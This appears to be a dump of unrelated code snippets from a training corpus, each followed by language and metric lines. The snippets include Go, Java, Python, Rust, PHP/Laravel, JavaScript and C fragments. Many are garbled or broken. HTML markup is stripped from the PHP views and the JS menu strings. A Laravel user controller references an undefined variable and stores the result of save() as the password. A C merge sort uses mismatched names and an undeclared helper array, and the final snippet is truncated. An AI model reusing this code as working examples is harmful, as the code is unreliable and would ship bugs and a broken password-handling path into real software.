func newStorageRPC(endpoint Endpoint) StorageAPI { // Dial minio rpc storage http path. rpcPath := path.Join(minioReservedBucketPath, storageRPCPath, endpoint.Path) serverCred := globalServerConfig.GetCredential() return &networkStorage{ rpcClient: newAuthRPCClient(authConfig{ accessKey: serverCred.AccessKey, secretKey: serverCred.SecretKey, serverAddr: endpoint.Host, serviceEndpoint: rpcPath, secureConn: globalIsSSL, serviceName: "Storage", disableReconnect: true, }), } }
go
17
0.72037
77
30.823529
17
inline
BlockIo get(long blockid) throws IOException { // try in transaction list, dirty list, free list BlockIo node = inTxn.get(blockid); if (node != null) { inTxn.remove(blockid); inUse.put(blockid, node); return node; } node = dirty.get(blockid); if (node != null) { dirty.remove(blockid); inUse.put(blockid, node); return node; } BlockIo cur = free.get(blockid); if(cur!=null){ node = cur; free.remove(blockid); inUse.put(blockid, node); return node; } // sanity check: can't be on in use list if (inUse.get(blockid) != null) { throw new Error("double get for block " + blockid ); } // get a new node and read it from the file node = getNewNode(blockid); long offset = blockid * BLOCK_SIZE; RandomAccessFile file = getRaf(offset); read(file, offset%MAX_FILE_SIZE, node.getData(), BLOCK_SIZE); inUse.put(blockid, node); node.setClean(); return node; }
java
10
0.495473
73
29.4
40
inline
from __future__ import absolute_import, unicode_literals from unittest import TestCase from uuid_upload_path.uuid import uuid from uuid_upload_path.storage import upload_to_factory, upload_to class UuidTest(TestCase): # It's hard to test random data, but more iterations makes the tests # more robust. TEST_ITERATIONS = 1000 def testUuidFormat(self): for _ in range(self.TEST_ITERATIONS): self.assertRegex(uuid(), r"^[a-zA-Z0-9\-_]{22}$") def testUuidUnique(self): generated_uuids = set() for _ in range(self.TEST_ITERATIONS): new_uuid = uuid() self.assertNotIn(new_uuid, generated_uuids) generated_uuids.add(new_uuid) class TestModel(object): class _meta: app_label = "test" class StorageTest(TestCase): def testUploadToFactory(self): uploaded_file = upload_to_factory("test")(object(), "test.txt.gzip") regex_file = r"^test/test_[a-zA-Z0-9\-_]{22}.txt.gzip$" self.assertRegex(uploaded_file, regex_file) def testUploadTo(self): uploaded_file = upload_to(TestModel(), "test.txt.gzip") regex_file = r"^test/testmodel/test_[a-zA-Z0-9\-_]{22}.txt.gzip$" self.assertRegex(uploaded_file, regex_file)
python
12
0.655531
77
29.613636
44
starcoderdata
def __init__(self, data_dir, width): #文件地址 './Data' classes = os.listdir(data_dir) # print(classes) k = 0 for name in classes: name_ = os.listdir(data_dir+'/'+name) # print(name_) # for two in name_: # two_ = os.listdir(data_dir+'/'+name+'/'+two) # for id in two_: # pictures = os.listdir(data_dir+'/'+name+'/'+two+'/'+id) for pic in name_: # for pic in pictures: img = Image.open(data_dir + '/' + name + '/' + pic) # img = Image.open(data_dir+'/'+name+'/'+two+'/'+id+'/'+pic) img = np.array(img.resize((width, width), Image.ANTIALIAS)) if len(img.shape) == 2: continue; # c = self.turn_img(img, width, 1) self.data.append([img, k]) # self.data.append([c , k]) k += 1
python
16
0.416238
84
43.272727
22
inline
pub fn remap_the_kernel<A>(allocator: &mut A) where A: FrameAllocator { let mut temporary_page = TemporaryPage::new(Page { number: 0xcafebabe }, allocator); let mut active_table = unsafe { ActivePageTable::new() }; let mut new_table = { let frame = allocator.allocate_frame().expect("no more frames"); InactivePageTable::new(frame, &mut active_table, &mut temporary_page) }; active_table.with(&mut new_table, &mut temporary_page, |mapper| { // Identity map the kernel let start_frame = Frame::containing_address(super::kernel_memory_start()); let end_frame = Frame::containing_address(super::kernel_memory_end()); for frame in Frame::range_inclusive(start_frame, end_frame) { //TODO: Should use the right flags mapper.identity_map(frame, WRITABLE, allocator); } // Identity map the VGA buffer let vga_bugger_frame = Frame::containing_address(0xb8000); mapper.identity_map(vga_bugger_frame, WRITABLE, allocator); }); // Switch to using the newly mapped table let old_table = active_table.switch(new_table); println!("Using the new table!"); let old_p4_page = Page::containing_address(old_table.p4_frame.start_address()); active_table.unmap(old_p4_page, allocator); println!("Guard page at: {:#x}", old_p4_page.start_address()); }
rust
14
0.652049
88
38.771429
35
inline
<?php namespace App\Http\Controllers; use Illuminate\Http\Request; use Illuminate\Support\Facades\Redirect; use Illuminate\Support\Facades\Route; use App\Roles; use App\Admin; use Session; use Auth; class UserController extends Controller { /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { //Model admin kèm theo Roles , paginate: phân trang : hiển thị 5 user trên 1 trang $admin = Admin::with('roles')->orderBy('admin_id','DESC')->paginate(5); return view('admin.users.all_users')->with(compact('admin')); // compact: nghĩa là biến admin ở trên } public function add_users(){ return view('admin.users.add_users'); } public function delete_user_roles($admin_id){ // trường hợp id: trường hợp mà ta đang đăng nhập nick này mà ta lại ấn xóa chính nick mình đang login thì ko đc: if(Auth::id()==$admin_id){ return redirect()->back()->with('message','Không được quyền xóa chính mình'); } $admin= Admin::find($admin_id); // tìm đến id if($admin){ // nếu có tìm ra id của admin mình chọn $admin->roles()->detach(); // vào model Roles bằng hàm role ở trong model admin gỡ (detach) (có nghĩa là xóa cả dữ liệu ở trong bảng admin_roles) $admin->delete(); } return redirect()->back()->with('message','Xóa user thành công'); } public function assign_roles(Request $request){ if(Auth::id()==$request->admin_id){ return redirect()->back()->with('message','Bạn không được phân quyền chính mình'); } // bên trái là csdl bên phải là dữ liệu ở form $user = Admin::where('admin_email',$data['admin_email'])->first(); // lấy email trong csdl so sánh vs email $user->roles()->detach(); //detach: là nhổ các quyển ra (ngc lại attach: kết hợp) //nếu checked một trong các ô checkbox sau thì ta sẽ truyền(attach) cho nó quyền cho user tương ứng : // vì ở trong 1 chuỗi nên [''] // phải request lần lượt if($request['author_role']){ $user->roles()->attach(Roles::where('name','author')->first()); } if($request['user_role']){ $user->roles()->attach(Roles::where('name','user')->first()); } if($request['admin_role']){ $user->roles()->attach(Roles::where('name','admin')->first()); } return redirect()->back()->with('message','Cấp quyền thành công'); } public function store_users(Request $request){ $data = $request->all(); $admin = new Admin(); $admin->admin_name = $data['admin_name']; $admin->admin_phone = $data['admin_phone']; $admin->admin_email = $data['admin_email']; $admin->admin_password = $admin->save(); $admin->roles()->attach(Roles::where('name','user')->first()); Session::put('message','Thêm users thành công'); return Redirect::to('users'); } /** * Show the form for editing the specified resource. * * @param int $id * @return \Illuminate\Http\Response */ public function edit($id) { } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { // } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { // } }
php
16
0.575813
159
33.035714
112
starcoderdata
var Menu=function(){ var $bar=$('<div class="menu"> var $bardata=$('' +'<ul class="nav">' +'<li class="file" id="file">文件(F) +'<li class="edit" id="edit">编辑(E) +'<li class="layout" id="layout">格式(O) +'<li class="search" id="search">查看(V) +'<li class="help" id="help">帮助(H) +' $bar.append($bardata); var $file=$('' +'<ul class="file2" id="file2">' +'<li class="menuitem">&nbsp;&nbsp;&nbsp;新建(N)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ctrl+N +'<li class="menuitem">&nbsp;&nbsp;&nbsp;打开(O)...&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ctrl+O +'<li class="menuitem">&nbsp;&nbsp;&nbsp;保存(S)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ctrl+S +'<li class="menuitem">&nbsp;&nbsp;&nbsp;另存为(A)... +'<li class="menuitem"> +'<li class="menuitem">&nbsp;&nbsp;&nbsp;页面设置(U)... +'<li class="menuitem">&nbsp;&nbsp;&nbsp;打印(P)...&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ctrl+P +'<li class="menuitem"> +'<li class="menuitem">&nbsp;&nbsp;&nbsp;退出(X) +' $bar.append($file); var $edit=$('' +'<ul class="edit2" id="edit2">' +'<li class="menuitem">&nbsp;&nbsp;&nbsp;撤销(U)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ctrl+Z +'<li class="menuitem"> +'<li class="menuitem">&nbsp;&nbsp;&nbsp;剪切(T)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ctrl+X +'<li class="menuitem">&nbsp;&nbsp;&nbsp;复制(C)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ctrl+C +'<li class="menuitem">&nbsp;&nbsp;&nbsp;粘贴(P)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ctrl+V +'<li class="menuitem">&nbsp;&nbsp;&nbsp;删除(L)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Del +'<li class="menuitem"> +'<li class="menuitem">&nbsp;&nbsp;&nbsp;使用Bing搜索...Ctrl+E +'<li class="menuitem">&nbsp;&nbsp;&nbsp;查找(F)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ctrl+F +'<li class="menuitem">&nbsp;&nbsp;&nbsp;查找下一个(N)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;F3 +'<li class="menuitem">&nbsp;&nbsp;&nbsp;替换(R)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ctrl+H +'<li class="menuitem">&nbsp;&nbsp;&nbsp;转到(G)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ctrl+G +'<li class="menuitem"> +'<li class="menuitem">&nbsp;&nbsp;&nbsp;全选(A)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Ctrl+A +'<li class="menuitem">&nbsp;&nbsp;&nbsp;时间/日期(D)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;F5 +' $bar.append($edit); var $layout=$('' +'<ul class="layout2" id="layout2">' +'<li class="menuitem2">自动换行(W) +'<li id="font" class="menuitem2">字体(F)... +' $bar.append($layout); var $search=$('' +'<ul class="search2" id="search2">' +'<li class="menuitem2">状态栏(S) +' $bar.append($search); var $help=$('' +'<ul class="help2" id="help2">' +'<li class="menuitem2">查看帮助(H) +'<li class="menuitem2">关于记事本(A) +' $bar.append($help); $('body').append($bar); function changefile(){ $('#file2').css('display','block'); $('#edit2').css('display','none'); $('#layout2').css('display','none'); $('#search2').css('display','none'); $('#help2').css('display','none'); } function changeedit(){ $('#edit2').css('display','block'); $('#file2').css('display','none'); $('#layout2').css('display','none'); $('#search2').css('display','none'); $('#help2').css('display','none'); } function changelayout(){ $('#layout2').css('display','block'); $('#file2').css('display','none'); $('#edit2').css('display','none'); $('#search2').css('display','none'); $('#help2').css('display','none'); } function changesearch(){ $('#search2').css('display','block'); $('#file2').css('display','none'); $('#edit2').css('display','none'); $('#layout2').css('display','none'); $('#help2').css('display','none'); } function changehelp(){ $('#help2').css('display','block'); $('#file2').css('display','none'); $('#edit2').css('display','none'); $('#layout2').css('display','none'); $('#search2').css('display','none'); } $('#file').click(changefile); $('#edit').click(changeedit); $('#layout').click(changelayout); $('#search').click(changesearch); $('#help').click(changehelp); }
javascript
27
0.535722
132
40.26087
115
starcoderdata
package com.jiakaiyang.wallpapergetter.wallpapers; import android.support.v4.app.Fragment; /** * Created by admin on 2016/8/8. */ public class WallpapersFragment extends Fragment implements WallpapersContract.View{ @Override public void setPresenter(WallpapersContract.Presenter presenter) { } }
java
7
0.768254
84
20
15
starcoderdata
<div class="alert alert-success" role="alert"> <h4 class="text-center font-weight-bold text-uppercase">bank soal <div class="card"> <div class="card-body"> <button type="button" class="btn btn-success btn-sm text-uppercase" data-toggle="modal" data-target="#tambahBankSoal"> <i class="fas fa-plus-square"> Tambah Bank Soal <?= $this->session->flashdata('info') ?> <div class="row mt-3"> <div class="col-md"> <div class="card"> <div class="card-body"> <div class="table-responsive"> <table class="table table-striped table-bordered" id="dataTable" width="100%" cellspacing="0"> <thead class="text-uppercase"> <tr class="text-center"> <th scope="col"># <th scope="col">ujian <th scope="col">nama guru <th scope="col">nama mapel <th scope="col">status <th scope="col">aksi <?php $no = 1; foreach ($bankSoal as $row) { ?> echo $no++; ?> $row['nama_ujian'] ?> <td class="text-center"><?= $row['nama_guru'] ?> $row['nama_mapel'] ?> <td class="text-center font-weight-bold text-uppercase"><?= $row['status'] ?> <h5 class="text-center"> <a class="btn btn-success btn-sm text-uppercase" href="<?= base_url() ?>Dashboard_bdp/upload_banksoal/<?= $row['id_bank_soal'] ?>"><i class="fas fa-upload"> <a class="btn btn-primary btn-sm text-uppercase" href="<?= base_url() ?>Dashboard_bdp/detail_banksoal/<?= $row['id_bank_soal'] ?>"><i class="fas fa-search"> <a class="btn btn-danger btn-sm text-uppercase" href="<?= base_url() ?>Dashboard_bdp/hapus_bank_soal/<?= $row['id_bank_soal'] ?>"><i class="fas fa-trash"> <?php } ?> <div class="modal fade" id="tambahBankSoal" tabindex="-1" aria-labelledby="exampleModalLabel" aria-hidden="true"> <div class="modal-dialog modal-lg"> <div class="modal-content"> <div class="modal-header bg-primary"> <h5 class="modal-title text-uppercase text-white font-weight-bold" id="exampleModalLabel">tambah bank soal <button type="button" class="close" data-dismiss="modal" aria-label="Close"> <span aria-hidden="true">&times; <div class="modal-body"> <form action="<?= base_url() ?>Dashboard_bdp/simpan_bank_soal" method="post"> <div class="form-group"> Ujian <select class="form-control" name="ujian"> <OPtion class="bg-info text-white" disabled>PILIH JENIS UJIAN TENGAH SEMESTER AKHIR SEMESTER KENAIKAN KELAS HARIAN <div class="form-group"> <select class="form-control" name="mapel"> <OPtion class="bg-info text-white" disabled>PILIH MAPEL <?php foreach ($mapel as $row) { ?> <option value="<?= $row['id_mapel']; ?>"><?= $row['id_mapel']; ?> | <?= $row['jurusan']; ?> | <?= $row['nama_mapel']; ?> <?php } ?> <div class="form-group"> <select class="form-control" name="guru"> <OPtion class="bg-info text-white" disabled>Guru <?php foreach ($guru as $row) { ?> <option value="<?= $row['id_guru']; ?>"><?= $row['id_guru']; ?> | <?= $row['nama_guru']; ?> <?php } ?> <div class="modal-footer"> <button type="button" class="btn btn-secondary" data-dismiss="modal">Close <button type="submit" class="btn btn-primary">Save changes
php
6
0.403917
209
51.477064
109
starcoderdata
package com.vino.xmonitor.controller; import com.vino.xmonitor.exception.GlobalException; import com.vino.xmonitor.result.CodeMsg; import com.vino.xmonitor.result.Result; import com.vino.xmonitor.service.UserService; import com.vino.xmonitor.vo.LoginVo; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; import org.springframework.web.bind.annotation.ResponseBody; import org.springframework.web.servlet.ModelAndView; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.util.Enumeration; /** * @author root */ @Controller public class LoginController { public static final String LOGIN_PATH = "/login"; public static final String LOGOUT_PATH = "/logout"; @Autowired private UserService userService; @RequestMapping( value = { LOGIN_PATH, LOGIN_PATH + "/" }, method = { RequestMethod.GET }, headers = { "accept=text/html**" }) public ModelAndView login(HttpServletRequest request) { // Enumeration headers = request.getHeaderNames(); return new ModelAndView("login"); } @RequestMapping( value = { LOGIN_PATH, LOGIN_PATH + "/" }, method = { RequestMethod.POST }) @ResponseBody public Result toLogin(HttpServletResponse response, LoginVo loginVo) { try { return Result.success(userService.login(response, loginVo)); } catch (GlobalException e) { return Result.error(e.getCodeMsg()); } } @RequestMapping( value = { LOGOUT_PATH, LOGOUT_PATH + "/" }, method = { RequestMethod.GET }, headers = { "accept=text/html**" }) public ModelAndView logout(HttpServletResponse response) { userService.logout(response); return new ModelAndView("login"); } }
java
13
0.599061
74
27.560976
82
starcoderdata
getSource (name) { let cache = sourceCache.get(this); const cachedSource = cache && cache.get(name); if (cachedSource) { return cachedSource; } // instantiate source const source = new Source({ workspace: this, name }); // save instance to cache if (!cache) { cache = new Map(); sourceCache.set(this, cache); } cache.set(name, source); // return instance return source; }
javascript
8
0.480804
54
18.571429
28
inline
#define MICROPY_PY_UHEAPQ (1) #include "py/dynruntime.h" #include "extmod/moduheapq.c" mp_obj_t mpy_init(mp_obj_fun_bc_t *self, size_t n_args, size_t n_kw, mp_obj_t *args) { MP_DYNRUNTIME_INIT_ENTRY mp_store_global(MP_QSTR___name__, MP_OBJ_NEW_QSTR(MP_QSTR_uheapq)); mp_store_global(MP_QSTR_heappush, MP_OBJ_FROM_PTR(&mod_uheapq_heappush_obj)); mp_store_global(MP_QSTR_heappop, MP_OBJ_FROM_PTR(&mod_uheapq_heappop_obj)); mp_store_global(MP_QSTR_heapify, MP_OBJ_FROM_PTR(&mod_uheapq_heapify_obj)); MP_DYNRUNTIME_INIT_EXIT }
c
10
0.702791
86
34.823529
17
starcoderdata
const { generateRandomStr, promptUserForValue } = require('../util') module.exports = { name: 'postgres', image: 'postgres:latest', languages: { nodejs: ['pg'], python: ['psycopg2'], php: ['pdo-pgsql'], // Note that practically all PHP installations will have PDO installed! ruby: ['pg'] }, ports: [5432], envs: { POSTGRES_USER: generateRandomStr(5), POSTGRES_DB: promptUserForValue('POSTGRES_DB', { defaultToProjectName: true }), POSTGRES_PASSWORD: POSTGRES_PORT: 5432 } }
javascript
9
0.659091
95
27.6
20
starcoderdata
synchronized public void seek(long pos) throws IOException { if (LOG.isDebugEnabled()) { LOG.debug("seek(" + pos + ")"); } file.seek(pos); fp = pos; buffersize = 0; // force a buffer fill on next read }
java
11
0.634259
60
26.125
8
inline
 <fieldset class="wishlist-list-of-elements"> @foreach (var shape in Model.ElementsShapes) { @Display(shape) } @foreach (var shape in Model.ExtensionShapes) { @Display(shape) }
c#
10
0.677778
51
26.1
10
starcoderdata
// Import the model let Weather = require('./weatherModel') // Import mongoose let mongoose = require('mongoose') // Connect to Mongodb mongoose.connect('mongodb://localhost/resthub', { useNewUrlParser: true }) // Define seeds let cities = [ new Weather({ cityName: 'Dusseldorf', weatherType: 'Snowy', temperature: 0 }), new Weather({ cityName: 'Milano', weatherType: 'Rainy', temperature: 12 }), new Weather({ cityName: 'Amsterdam', weatherType: 'Snowy', temperature: -3 }), new Weather({ cityName: 'Addisababa', weatherType: 'Sunny', temperature: 40 }) ] let done = 0 for(let i=0;i<cities.length;i++){ cities[i].save(function(err, result){ done++ if(done === cities.length) exit() }) } function exit(){ mongoose.disconnect() }
javascript
12
0.567778
74
19.477273
44
starcoderdata
// const scssVariables = require('../src/renderer/themes/variables.json') // import scssVariables from '../src/renderer/themes/variables.scss' const { join } = require('path') const { external } = require('../package.json') /** * camelCase to kebab-case * @param {string} str */ const kebabize = str => { return str.split('').map((letter, idx) => { return letter.toUpperCase() === letter ? `${idx !== 0 ? '-' : ''}${letter.toLowerCase()}` : letter; }).join(''); } // const scssData = Object.keys(scssVariables).map(i => `\$${kebabize(i)}: ${scssVariables[i]};`).join('\n') // console.log(scssData) /** * Vite shared config, assign alias and root dir * @type {import('vite').UserConfig} */ const config = { root: join(__dirname, '../src/renderer'), base: '', // has to set to empty string so the html assets path will be relative alias: { '/@shared/': join(__dirname, '../src/shared'), '/@/': join(__dirname, '../src/renderer'), }, optimizeDeps: { exclude: external, }, cssPreprocessOptions: { scss: { // additionalData: scssData additionalData: `@import "../src/renderer/themes/variables.scss";` }, // less: { // javascriptEnabled: true, // }, }, } module.exports = config
javascript
15
0.600943
108
27.288889
45
starcoderdata
'use strict' /* global describe it */ var is = global.is || require('exam-is') var LruCache = require('../lighter-lru-cache') describe('LruCache.prototype.map', function () { it('exposes the map of items', function () { var cache = new LruCache() is.same(cache.map, {}) }) it('gets new items', function () { var cache = new LruCache() cache.set('abc', 123) is(cache.map.abc.value, 123) }) })
javascript
17
0.613744
48
23.823529
17
starcoderdata
import { defineStore, acceptHMRUpdate } from "pinia"; import { computed, reactive, ref } from "vue"; import { xor } from "@/modules/logic"; import { error } from "../modules/exceptions"; // import { useConsole } from "@/stores/console.js"; // const console = useConsole(); export const useSudokuEndlessStore = defineStore("sudokuEndless", () => { const numberOfHouseColumns = computed(() => { if (gridSize.house.width === 0) { return 0; } return Math.floor(gridSize.columns / gridSize.house.width); }); const numberOfHouseRows = computed(() => { if (gridSize.house.height === 0) { return 0; } return Math.floor(gridSize.rows / gridSize.house.height); }); const gridSize = reactive({ columns: 9, rows: 9, house: { width: 3, height: 3, columns: numberOfHouseColumns, rows: numberOfHouseRows, }, }); const isPicross = ref(false); function cellByPosition(column, row) { return row * gridSize.columns + column; } function houseByPosition(column, row) { if (gridSize.house.height < 1 || gridSize.house.width < 1) { return null; } const houseColumn = Math.floor(column / gridSize.house.width); const houseRow = Math.floor(row / gridSize.house.height); return houseRow * numberOfHouseColumns.value + houseColumn; } function generateGridCells() { cells.splice(0); for (let row = 0; row < gridSize.rows; row++) { for (let column = 0; column < gridSize.columns; column++) { const house = houseByPosition(column, row); const id = cellByPosition(column, row); const cell = { column, row, house, id, value: house?.toString(16) ?? "_", }; cells.push(cell); } } return cells; } let cells = reactive([]); generateGridCells(); function validateDimensions(columns, rows, houseWidth, houseHeight) { if (houseWidth < 0 || houseHeight < 0 || columns < 0 || rows < 0) { throw error("Can't have a negative dimension.", { columns, rows, houseWidth, houseHeight }); } if (columns % houseWidth || rows % houseHeight) { const horizontal = columns % houseWidth ? "failed" : "succeeded"; const vertical = rows % houseHeight ? "failed" : "succeeded"; throw error("Can't fit integer number of houses.", { horizontal, vertical }); } if (xor(houseWidth, houseHeight) || xor(columns, rows)) { throw error("Can't have a lone zero dimension.", { columns, rows, houseWidth, houseHeight }); } return true; } function setGridDimensions(columns, rows, houseWidth = null, houseHeight = null) { houseWidth = houseWidth ?? gridSize.house.width; houseHeight = houseHeight ?? gridSize.house.height; // Validation; throws Errors validateDimensions(columns, rows, houseWidth, houseHeight); gridSize.columns = columns; gridSize.rows = rows; gridSize.house.width = houseWidth; gridSize.house.height = houseHeight; generateGridCells(); } function setHouseDimensions(columns, rows, width = null, height = null) { setGridDimensions(columns * width, rows * height, width, height); } return { gridSize, isPicross, cellByPosition, houseByPosition, setGridDimensions, setHouseDimensions, cells, }; }); if (import.meta.hot) { import.meta.hot.accept(acceptHMRUpdate(useSudokuEndlessStore, import.meta.hot)); }
javascript
21
0.637334
99
28.12605
119
starcoderdata
#include #include /* Like QuickSort, Merge Sort is a Divide and Conquer algorithm. It divides input array in two halves, calls itself for the two halves and then merges the two sorted halves. The merge() function is used for merging two halves. The merge(arr, l, m, r) is key process that assumes that arr[l..m] and arr[m+1..r] are sorted and merges the two sorted sub-arrays into one. See following C implementation for details. MergeSort(arr[], l, r) If r > l 1. Find the middle point to divide the array into two halves: middle m = (l+r)/2 2. Call mergeSort for first half: Call mergeSort(arr, l, m) 3. Call mergeSort for second half: Call mergeSort(arr, m+1, r) 4. Merge the two halves sorted in step 2 and 3: Call merge(arr, l, m, r) Time Complexity: Sorting arrays on different machines. Merge Sort is a recursive algorithm and time complexity can be expressed as following recurrence relation. T(n) = 2T(n/2) + O(n) The above recurrence can be solved either using Recurrence Tree method or Master method. It falls in case II of Master Method and solution of the recurrence is O(nLogn) Time complexity of Merge Sort is O(nLogn) in all 3 cases (worst, average and best) as merge sort always divides the array in two halves and take linear time to merge two halves. */ void mergeSort(int low, int high) { //check if low is smaller than highm if not the the array is sorted if (low < high) { //Get the index of the element which is in the middle int middle = low + (high - low) / 2; //Sort the left side of the array mergesort(low, middle); //Sort the right side of the array mergesort(middle + 1, high); //Combine them both merge(low, middle, high); } } void merge(int low, int middle, int high) { //Copy both parts into the helper array for (int i = low; i <= high; i++) { helper[i] = numbers[i]; } int i = low; int j = middle + 1; int k = low; // Copy the smallest values from either the left or the right side back //to the original array while (i <= middle && j <= high) { if (helper[i] <= helper[j]) { numbers[k] = helper[i]; i++; } else { number[k] = helper[j]; j++; } k++; } // Copy the rest of the left side of the array into the target array while (i <= middle) { numbers[k] = helper[i]; k++; i++; } }
c
11
0.584857
227
31.790123
81
starcoderdata
//-------------------------------------------------------------------------- // Name: // PacHelix // Description: // Copy of TrkBase/Helix, but removing all the 'diff' stuff. // Environment: // Software developed for PACRAT / SuperB // Copyright Information: // Copyright (C) 2008 Lawrence Berkeley Laboratory // Author List: // 23 APR 2008 //------------------------------------------------------------------------ #ifndef PacHelix_HH #define PacHelix_HH #include "BbrGeom/TrkGeomTraj.hh" #include "CLHEP/Utilities/CLHEP.h" class TrkVisitor; class PacHelix : public TrkGeomTraj { public: // Define the parameters enum ParIndex {d0Index=0, phi0Index, omegaIndex, z0Index, tanDipIndex,nHelixPars}; PacHelix(double pars[nHelixPars], double lowlim=-99999.,double hilim=99999.); PacHelix(const HepVector& pars, double lowlim=-99999.,double hilim=99999.); PacHelix( const PacHelix& ); PacHelix* clone() const; virtual ~PacHelix(); // operators PacHelix& operator=(const PacHelix&); // accessors virtual HepPoint position(double fltLen) const; virtual Hep3Vector direction(double fltLen) const; virtual Hep3Vector delDirect(double) const; virtual void getInfo(double fltLen, HepPoint& pos, Hep3Vector& dir) const; virtual void getInfo(double fltLen, HepPoint& , Hep3Vector& dir, Hep3Vector& delDir) const; // How far can you go using given approximation before error > tolerance, // in direction pathDir? virtual double distTo1stError(double s, double tol, int pathDir) const; virtual double distTo2ndError(double s, double tol, int pathDir) const; // Real versions of the base class derrivative functions double curvature( double ) const; // Helix-specific accessors double d0() const {return _pars[d0Index];} double phi0() const { return _pars[phi0Index];} double omega() const {return _pars[omegaIndex]; } double z0() const {return _pars[z0Index]; } double tanDip() const { return _pars[tanDipIndex]; } const double* params() const { return _pars; } HepVector parameters() const; // efficient access of 1 coordinate double z(const double& fltlen) const { return z0() + fltlen*sinDip(); } //-------------------------------------------------- // Visitor access //-------------------------------------------------- virtual void accept(TrkGeomTrajVisitor& ) const; virtual void print(std::ostream& os) const; virtual void printAll(std::ostream& os) const; double dip() const {return _dip;} double cosDip() const {return _cosdip; } double sinDip() const {return _sindip; } double translen(const double& f) const {return cosDip()*f;} double arc( const double& f) const {return translen(f)*omega();} double angle(const double& f) const; // field stuff double bnom() const { return _bnom;} double mom() const { return _mom; } void setReference(double bnom, double mom); // charge can be computed knowing the sign of Bz and the curvature double charge() const; private: void setCache(); double _pars[nHelixPars]; // record the nominal (Bz) field and the momentum magnitude double _mom; double _bnom; // cache some variables for efficiency mutable double _cosdip; mutable double _sindip; mutable double _dip; mutable double _sinphi0; mutable double _cosphi0; }; #endif
c++
11
0.651502
83
34.4
95
starcoderdata
double QueenBee::transferNectar(sf::Time dt) { // pollen transfered is taken from bee at a certain rate and dropped in hive double pollen(nectar_transfer_rate_ * dt.asSeconds()); this->getHive().dropPollen(pollen); setEnergy(getEnergy() - pollen); return pollen; }
c++
9
0.704225
80
30.666667
9
inline
const togglerJsArray = document.getElementsByClassName('toggler-js'); for (let i = 0; i < togglerJsArray.length; i++) { registerElement(togglerJsArray.item(i)); } function registerElement(element) { // icon const iconId = element.getAttribute('toggler-icon'); const divId = element.getAttribute('toggler-div'); if (typeof iconId == 'undefined') { return; } else if (typeof divId == 'undefined') { return; } const icon = document.getElementById(iconId); const div = document.getElementById(divId); if (typeof icon == 'undefined' || icon == '') { return; } else if (typeof div == 'undefined' || div == '') { return; } icon.className = 'bi bi-' + (div.style.display == 'none' ? 'plus' : 'dash'); element.addEventListener('click', function(e) { if (div.style.display == 'none') { // show div.style.display = 'block'; icon.className = 'bi bi-dash'; } else { // hide div.style.display = 'none'; icon.className = 'bi bi-plus'; } }); }
javascript
15
0.559715
80
27.769231
39
starcoderdata
'use strict'; // Class definition var mNetSource = []; var KTDatatableDataLocalDemo = function() { // Private functions // demo initializer var demo = function() { var datatable = $('#kt_datatable').KTDatatable({ // datasource definition data: { type: 'local', source: mNetSource, pageSize: 10, }, // layout definition layout: { scroll: false, // enable/disable datatable scroll both horizontal and vertical when needed. // height: 450, // datatable's body's fixed height footer: false, // display/hide footer }, // column sorting sortable: true, pagination: true, search: { input: $('#kt_datatable_search_query'), key: 'generalSearch' }, // columns definition // columns definition columns: [{ field: 'course_id', title: '#', sortable: false, width: 20, type: 'number', selector: { class: '' }, textAlign: 'center', }, { field: 'quiz_title', autoHide: false, title: 'Quiz Title', // template: (row)=> { // return ` // <a // data-toggle="modal" href="#updateInputModal" // data-type="text" // data-title="New Title" // data-name="quiz_title" // data-route="${row.update_route}" // > // ${row.quiz_title} // <i class="fa fa-pen mx-2 fs-4"> // // ` // }, }, { field: 'm_start_date', title: 'Start Date', // template: (row)=> { // return ` // <a // data-toggle="modal" href="#updateInputModal" // data-type="date" // data-title="New Start date" // data-name="start_date" // data-route="${row.update_route}" // > // ${row.m_start_date} // <i class="fa fa-pen mx-2 fs-4"> // // ` // }, }, { field: 'm_end_date', title: 'End Date', // template: (row)=> { // return ` // <a // data-toggle="modal" href="#updateInputModal" // data-type="date" // data-title="New End date" // data-name="end_date" // data-route="${row.update_route}" // > // ${row.m_end_date} // <i class="fa fa-pen mx-2 fs-4"> // // ` // }, }, { field: 'alway_open', title: 'Status', template: (row) => { return ` <a href="${row.update_route}?alway_open=${row.alway_open?'0':'1'}"> <i class="${row.alway_open?'fas fa-toggle-on':'fas fa-toggle-off'} fa-2x"> ` }, }, { field: 'Actions', title: 'Actions', sortable: false, width: 125, overflow: 'visible', autoHide: true, template: function(row) { return '\ <a href="' + row.view_link + '" class="btn btn-sm btn-clean btn-icon mr-2" title="View Submissions"> <i class="far fa-chart-bar"> \ <a 